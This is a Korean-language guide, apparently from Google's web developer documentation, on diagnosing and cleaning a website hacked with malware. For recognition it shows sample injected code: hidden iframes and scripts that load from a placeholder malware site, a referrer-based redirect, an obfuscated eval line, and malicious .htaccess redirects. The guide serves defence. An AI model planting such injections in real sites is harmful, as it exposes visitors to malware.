멀웨어란 컴퓨터, 휴대기기, 실행 중인 소프트웨어 또는 사용자에게 해를 끼치도록 설계된 소프트웨어 또는 모바일 애플리케이션입니다. 멀웨어가 무엇인지 자세히 알아보려면 멀웨어 및 원치 않는 소프트웨어를 참고하세요.
사이트에 멀웨어가 포함되어 있는 경우 사용자가 사이트를 방문하려고 할 때 일반적으로 브라우저에서 사용자에게 표시되는 검색결과나 전면 페이지에 '이 사이트는 컴퓨터에 문제를 야기할 수 있습니다'라는 경고가 표시됩니다.
![대표적인 멀웨어 전면 페이지](https://web.dev/static/articles/hacked-with-malware/image/representative-malware-in-d968499096707.gif?authuser=7&hl=ko)
전화를 걸고 받기 위해 필요한 사항은 다음과 같습니다.
- 사이트의 서버(웹, 데이터베이스, 파일)에 대한 셸 또는 터미널 관리자 액세스 권한
- 셸 또는 터미널 명령어에 대한 지식
- 데이터베이스에서 SQL 쿼리를 실행하는 기능
준비
- Search Console에 가입하고 도움말에 설명된 대로 해킹된 사이트의 소유권을 확인합니다. Search Console에서 영향을 받은 페이지의 샘플을 제공하므로 멀웨어로 해킹된 문제를 훨씬 더 쉽게 찾아 해결할 수 있습니다. 또한 사이트가 여러 유형의 멀웨어나 기타 해킹의 영향을 받는 것으로 감지되면 경고 메시지가 표시됩니다.
Google 세이프 브라우징 진단 페이지를 살펴보고 사이트가 사용자에게 해로울 수 있는지 여부에 대한 공개 정보를 확인합니다. 다음과 비슷한 URL에서 페이지 또는 사이트의 비즈니스 정보 상태를 확인할 수 있습니다.
https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>***
예:https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com
<<page_or_site>>
는 특정 페이지 URL (http://example.com/badpage
) 또는 전체 사이트 (example.com)일 수 있습니다.브라우저를 사용하여 사이트의 페이지를 표시하지 않습니다. 멀웨어는 주로 브라우저 취약성을 이용하여 퍼지기 때문에 브라우저에서 멀웨어에 감염된 페이지를 열면 컴퓨터에 피해를 줄 수 있습니다. 진단 안내에 브라우저에서 직접 페이지에 액세스하라고 나와 있지 않으면 cURL 또는 Wget을 사용하여 HTTP 요청(예: 페이지 가져오기)을 수행합니다.
이렇게 무료로 사용할 수 있는 도구는 리디렉션을 진단하는 데 유용하며 리퍼러 또는 사용자 에이전트 정보를 유연하게 포함할 수 있습니다. 해커는 더 많은 '실제 사용자'를 타겟팅하고 사이트 소유자 및 멀웨어 스캐너의 감지를 피하기 위해 특정 user-agent 또는 리퍼러가 있는 사용자에게만 악성 콘텐츠를 게재할 수 있으므로 특정 리퍼러 또는 user-agent를 포함하면 해커를 모방하는 데 도움이 됩니다.
`curl -v --referer "http://www.google.com" <your-url>`
다음은 사용자 에이전트와 리퍼러를 모두 지정하는 예입니다.
`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`
일부 멀웨어는 사용자가 Google 검색 결과를 통해 올 때만 활성화되므로 --referer "https://www.google.com"
유무에 관계없이 페이지를 가져오는 것이 좋습니다.
이 단계에서부터 문서를 만들어 발견한 사항을 기록합니다. 문서에는 적어도 피해를 입은 각 파일의 이름 및 위치와 감염된 방법에 관한 메모가 포함되며 사이트 정리 및 유지관리의 기초가 됩니다.
이 페이지 앞부분의 동영상을 시청하여 멀웨어의 작동 방식과 멀웨어 조사를 수행하는 동안 안전한 상태를 유지하는 방법을 알아보세요.
진단
사이트에 영향을 주는 멀웨어를 확인합니다.
- Search Console에서 사이트의 보안 문제 보고서를 엽니다. 멀웨어 경고의 설명을 펼쳐서 영향을 받은 페이지 예시 목록을 확인합니다. 이 목록은 전체 목록이 아니며, 사이트에 있는 모든 유형의 멀웨어에 대한 예시 페이지가 표시되지 않을 수도 있습니다.
- 예제 페이지에서 다음 유형의 멀웨어를 테스트합니다.
서버 구성 멀웨어 (원치 않는 리디렉션)
해커가 사이트를 해킹하여 서버 구성 파일을 수정하여 정상적인 사이트의 방문자를 멀웨어 공격 사이트로 리디렉션하고 있습니다. 일반적으로 사이트 관리자는 서버 구성 파일을 통해 웹사이트의 특정 페이지 또는 디렉터리에 대한 URL 리디렉션을 지정할 수 있습니다. 예를 들어 Apache 서버에서 이 파일은 .htaccess
파일 및 httpd.conf
입니다.
진단
보안 문제 보고서에 나와 있는 예시 URL을 방문해 봅니다. '서버 구성' 감염에 감염된 페이지의 응답에 다음 헤더가 포함될 수 있습니다.
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 24 Feb 2013 21:06:45 GMT
< Server: Apache
< Location: http://<<strong>_malware-attack-site_</strong>>/index.html
< Content-Length: 253
영향을 받은 파일 확인
셸 또는 터미널 액세스를 통해 서버에 로그인하고 (원하는 경우 사이트는 오프라인일 수 있음) 관련 서버 구성 파일을 검토합니다. 사이트에 해킹된 서버 구성 파일이 두 개 이상 있을 수 있습니다. 이러한 파일에 알 수 없는 사이트로의 리디렉션과 같은 원치 않는 명령어가 있는지 확인하세요. 예를 들어 .htaccess
` 파일에 다음과 같은 리디렉션이 표시될 수 있습니다.
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://<<em><strong>_malware-site_</strong></em>>/index.html** [R=301]
SQL 삽입
해커가 사이트의 데이터베이스를 손상시켰습니다. 예를 들어 해커가 데이터베이스 테이블의 모든 레코드에 프로그래매틱 방식으로 악성 코드를 삽입했기 때문에 서버가 데이터베이스의 정보가 필요한 페이지를 로드할 때 이제 악성 코드가 페이지의 콘텐츠에 삽입되어 사이트 방문자에게 피해를 줄 수 있습니다.
진단
- 명령줄에서 영향을 받은 URL에 몇 가지 쿼리를 실행하고 'iframe' 또는 'eval'과 같은 SQL 공격 단어에 대한 응답을 조사하세요.
데이터베이스 서버에 로그인하거나 phpMyAdmin과 같은 도구를 통해 데이터베이스를 확인합니다. Wget 또는 cURL을 사용한 경우 Wget 또는 cURL을 통해 페이지의 소스 코드에서 발견된 손상을 실제 데이터베이스 항목과 연결해 봅니다. 예를 들어 페이지에 위험한 iframe이 포함된 것을 알았다면 iframe 코드를 검색하는 SQL 쿼리를 실행할 수 있습니다. 예를 들면 다음과 같습니다.
SELECT * FROM blog_posts WHERE post_text LIKE '%>iframe%';
또한 서버의 데이터베이스 로그 및 오류 파일에 일반 사용자에게는 비정상적으로 보이는 예기치 않은 SQL 명령어나 오류와 같은 비정상적인 활동이 있는지 확인할 수 있습니다.
문제 해결하기
감염된 각 데이터베이스 레코드를 업데이트하거나 알려진 마지막 데이터베이스 백업을 복원합니다.
코드 삽입
사이트의 페이지가 멀웨어 공격 사이트로 연결되는 iframe과 같은 악성 코드를 포함하도록 수정되었습니다.
진단
cURL 또는 wGet을 사용하여 보안 문제 보고서에 표시된 예시 URL 중 일부를 확인하고 의심스러운 코드가 있는지 검사합니다. 삽입된 코드에는 여러 유형이 있을 수 있으며 찾기 어려울 수 있습니다. 'iframe'과 같은 단어를 검색하여 iframe 코드를 찾는 것이 유용할 수 있습니다. 기타 유용한 키워드에는 'script', 'eval' 및 'unescape'가 있습니다. 예를 들어 Unix 기반 시스템에서 'iframe'의 모든 파일을 검색하려면 다음 안내를 따르세요.
$grep -irn "iframe" ./ | less</pre>
다음은 몇 가지 일반적인 멀웨어 패턴입니다.
악성 사이트를 로드하는 iframe:
<iframe frameborder="0" height="0" src="http://<<strong><em>_malware-site_</em></strong>>/path/file"
style="display:none" width="0"></iframe>
자바스크립트 또는 공격 사이트에서 스크립트를 호출하고 실행하는 다른 스크립트 언어:
<script type='text/javascript' src='http://<<em><strong>_malware-site_</strong></em>>/js/x55.js'></script>
브라우저를 공격 사이트로 리디렉션하는 스크립트
<script>
if (document.referrer.match(/google\.com/)) {
window.location("http://<<em><strong>_malware-site_</strong></em>>/");
}
</script>
발견되지 않도록 난독화된 악성 코드:
eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));
일반적으로 무해한 스크립트에 유해 코드를 무작위로 작성하도록 설계된 공유 객체 파일은 다음과 같습니다.
#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c
악성 오류 템플릿
404 파일을 찾을 수 없음과 같은 오류 메시지에 사용되는 템플릿은 멀웨어를 배포하도록 구성되어 있습니다. 공격자는 이를 통해 사이트에 존재하지 않는 URL을 공격할 수 있습니다.
진단
사이트에 존재하지 않거나 다른 유형의 오류를 발생시키는 페이지를 요청하고 응답을 검토하여 페이지가 다른 사이트에서 오는지 또는 멀웨어를 포함하고 있는지 확인합니다.
문제 해결하기
웹 서버에 로그인하고 서버 구성 파일에서 오류 페이지 지시문을 검색합니다. 예를 들어 Apache 웹 서버의 오류 템플릿은 .htaccess
파일에서 선언할 수 있습니다. 다음은 악성 사이트에서 404 오류 페이지를 검색하는 .htaccess
파일 항목의 예입니다.
ErrorDocument 404 http://<<span class="red-text"><em><strong>_malware-site_</strong></em></span>>/index.html
사이트를 정리할 준비가 되면 .htaccess
파일을 알려진 안전한 백업으로 대체하거나 기존 .htaccess
파일에서 원치 않는 ErrorDocument 지시어를 삭제합니다. 또한 사이트에 실제 오류 파일이 있는 경우
삭제해야 합니다. 마지막으로 웹 서버를 다시 시작하여 모든 변경사항이 적용되는지 확인합니다.
손상된 사이트 또는 악성 사이트({compromised-resources})에서 리소스 로드 중
사이트에서 악성 콘텐츠가 포함된 것으로 알려진 웹사이트의 콘텐츠나 리소스를 사용합니다. 자바스크립트 파일, 이미지 또는 기타 파일일 수 있습니다. 이로 인해 내 사이트가 다른 사이트에서 로드된 멀웨어로 신고됩니다.
진단
보안 문제 보고서에 나와 있는 예시 URL을 방문해 봅니다.
문제 해결하기
- Search Console의 보안 문제 보고서에 나열된 몇 가지 샘플 URL을 탐색하여 문제를 확인합니다. 브라우저 경고가 표시됩니다.
- 브라우저 경고는 문제가 되는 콘텐츠의 도메인을 알려줍니다. 브라우저 경고에 나열된 신고 사이트에 대한 모든 참조를 삭제하세요. 신고된 사이트의 콘텐츠가 모르는 사이에 포함된 경우 문제가 더 심각합니다. 사이트가 손상되었을 가능성이 높으므로 사이트에 다른 해킹이나 취약점이 있는지 계속 조사해야 합니다.
- 신고된 사이트의 콘텐츠를 의도적으로 포함했고 신고된 사이트가 정리된 후 해당 콘텐츠를 다시 포함하려면 해당 사이트의 Google 세이프 브라우징 진단 페이지 (
http://www.google.com/safebrowsing/diagnostic?site=www.example.com
){:.external}를 통해 신고된 사이트의 상태를 모니터링하면 됩니다. 합법적인 사이트의 소유자는 일반적으로 신속하게 이러한 사이트를 정리합니다.
추가 조사
그런 다음 시스템에 추가 악성 파일이나 변경사항이 있는지 확인합니다. 해커는 기존 페이지 또는 데이터베이스 레코드를 수정하거나 완전히 새로운 스팸 페이지를 만들거나 안전한 페이지에 스팸을 표시하는 함수를 작성했거나 해커가 사이트에 다시 침입하거나 삭제한 악성 코드를 다시 삽입할 수 있도록 '백도어'를 남겼을 수 있습니다.
사이트가 온라인 상태인 경우 조사를 위해 오프라인으로 전환해 보세요.
사이트의 알려진 양호한 백업이 있는 경우 백업 이후 만들어졌거나 수정된 파일을 확인하고 조사합니다. Unix 기반 시스템에서는 다음과 같은 명령어를 사용하여 새 파일을 찾을 수 있습니다.
diff -qr <current-directory> <backup-directory>
예를 들면 다음과 같습니다.
diff -qr www/ backups/full-backup-20120124/
추가 정보:
md5sum <current-page> <backup-page>
예를 들면 다음과 같습니다.
md5sum www/page.html backups/full-backup-20120124/page.html
로그인 시도 실패, 명령어 기록 (특히 루트) 또는 알 수 없는 사용자 계정 생성 등 의심스러운 활동이 있는지 서버, 액세스 및 오류 로그를 확인합니다. 해커가 자신의 목적을 위해 이러한 로그를 변경했을 수 있습니다. 몇 가지 예는 취약점 확인 동영상에 나와 있습니다.
구성 파일에서 리디렉션을 확인합니다. 구성 파일은 일반적으로 .htaccess
및 httpd.conf
로 명명됩니다. 해커는 주로 사용자 에이전트, 시간 또는 리퍼러를 기반으로 조건부 리디렉션을 만듭니다. 구성 파일을 업데이트해야 하는 경우 변경사항을 적용하려면 서버를 다시 시작해야 할 수 있습니다.
과도하게 관대한 폴더 및 파일 권한이 있는지 확인합니다. 해커가 권한을 조작합니다. 사이트 소유자가 관대한 권한을 감지하지 못하는 경우 해커가 사이트에 다시 침입할 수 있기 때문입니다. 파일이 644 (rw-r--r--)
보다 크거나 폴더 크기가 755 (rwxr-xr-x)
보다 크면 보안 문제가 발생할 수 있습니다. 더 느슨한 권한이 실제로 필요한지 확인합니다. Unix 기반 시스템에서는 다음을 시도해 보세요.
find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;
및:
find <your-dir> -type f -not -perm 644 -exec ls -la {} \;
데이터베이스가 있는 경우 phpMyAdmin과 같은 도구를 사용하여 레코드별로 조사합니다.